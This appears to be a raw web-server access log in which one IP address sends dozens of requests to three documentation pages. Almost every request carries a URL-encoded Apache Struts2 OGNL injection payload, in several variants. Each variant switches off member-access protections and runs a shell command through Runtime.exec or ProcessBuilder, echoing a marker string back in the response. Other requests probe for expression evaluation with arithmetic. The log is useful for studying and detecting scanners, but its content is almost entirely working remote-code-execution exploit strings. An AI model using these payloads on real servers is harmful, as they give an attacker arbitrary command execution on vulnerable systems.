222.186.180.34 - - [26/May/2023:06:07:01 +0530] "GET /docs/jndi-resources-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1084
222.186.180.34 - - [26/May/2023:06:07:02 +0530] "GET /docs/jndi-resources-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2080
222.186.180.34 - - [26/May/2023:06:07:04 +0530] "GET /docs/jndi-resources-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2080
222.186.180.34 - - [26/May/2023:06:07:05 +0530] "GET /docs/jndi-resources-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:07 +0530] "GET /docs/jndi-resources-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1784
222.186.180.34 - - [26/May/2023:06:07:07 +0530] "GET /docs/jndi-resources-howto.html?redirect%3A%24%7B4223905%2B5849379%7D HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:10 +0530] "GET /docs/jndi-resources-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:12 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:14 +0530] "GET /docs/jndi-resources-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:17 +0530] "GET /docs/jndi-resources-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1468
222.186.180.34 - - [26/May/2023:06:07:18 +0530] "GET /docs/jndi-resources-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1704
222.186.180.34 - - [26/May/2023:06:07:19 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:21 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:23 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:24 +0530] "POST /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:26 +0530] "GET /docs/jndi-resources-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:28 +0530] "GET /docs/jndi-resources-howto.html/%24%7B2600823%2B8740484%7D/index.action HTTP/1.0" 404 1134
222.186.180.34 - - [26/May/2023:06:07:28 +0530] "GET /docs/jndi-resources-howto.html HTTP/1.0" 200 53615
222.186.180.34 - - [26/May/2023:06:07:34 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:36 +0530] "GET /docs/jndi-datasource-examples-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:37 +0530] "GET /docs/jndi-datasource-examples-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:39 +0530] "GET /docs/jndi-datasource-examples-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:40 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:41 +0530] "GET /docs/jndi-datasource-examples-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1104
222.186.180.34 - - [26/May/2023:06:07:47 +0530] "GET /docs/jndi-datasource-examples-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2100
222.186.180.34 - - [26/May/2023:06:07:48 +0530] "GET /docs/jndi-datasource-examples-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2100
222.186.180.34 - - [26/May/2023:06:07:50 +0530] "GET /docs/jndi-datasource-examples-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:51 +0530] "GET /docs/jndi-datasource-examples-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1804
222.186.180.34 - - [26/May/2023:06:07:52 +0530] "GET /docs/jndi-datasource-examples-howto.html?redirect%3A%24%7B5435427%2B6957630%7D HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:53 +0530] "GET /docs/jndi-datasource-examples-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:54 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:56 +0530] "GET /docs/jndi-datasource-examples-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:07:57 +0530] "GET /docs/jndi-datasource-examples-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1488
222.186.180.34 - - [26/May/2023:06:07:59 +0530] "GET /docs/jndi-datasource-examples-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1724
222.186.180.34 - - [26/May/2023:06:08:01 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:02 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:03 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:04 +0530] "POST /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:06 +0530] "GET /docs/jndi-datasource-examples-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:07 +0530] "GET /docs/jndi-datasource-examples-howto.html/%24%7B4858627%2B3629886%7D/index.action HTTP/1.0" 404 1154
222.186.180.34 - - [26/May/2023:06:08:08 +0530] "GET /docs/jndi-datasource-examples-howto.html HTTP/1.0" 200 35169
222.186.180.34 - - [26/May/2023:06:08:13 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:14 +0530] "GET /docs/class-loader-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:16 +0530] "GET /docs/class-loader-howto.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:17 +0530] "GET /docs/class-loader-howto.html?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:18 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:20 +0530] "GET /docs/class-loader-howto.html/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1080
222.186.180.34 - - [26/May/2023:06:08:21 +0530] "GET /docs/class-loader-howto.html&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2076
222.186.180.34 - - [26/May/2023:06:08:22 +0530] "GET /docs/class-loader-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2076
222.186.180.34 - - [26/May/2023:06:08:23 +0530] "GET /docs/class-loader-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:24 +0530] "GET /docs/class-loader-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1780
222.186.180.34 - - [26/May/2023:06:08:25 +0530] "GET /docs/class-loader-howto.html?redirect%3A%24%7B3923698%2B3141256%7D HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:26 +0530] "GET /docs/class-loader-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:28 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:29 +0530] "GET /docs/class-loader-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:30 +0530] "GET /docs/class-loader-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1464
222.186.180.34 - - [26/May/2023:06:08:31 +0530] "GET /docs/class-loader-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1700
222.186.180.34 - - [26/May/2023:06:08:32 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:33 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:35 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
222.186.180.34 - - [26/May/2023:06:08:36 +0530] "POST /docs/class-loader-howto.html HTTP/1.0" 200 18023
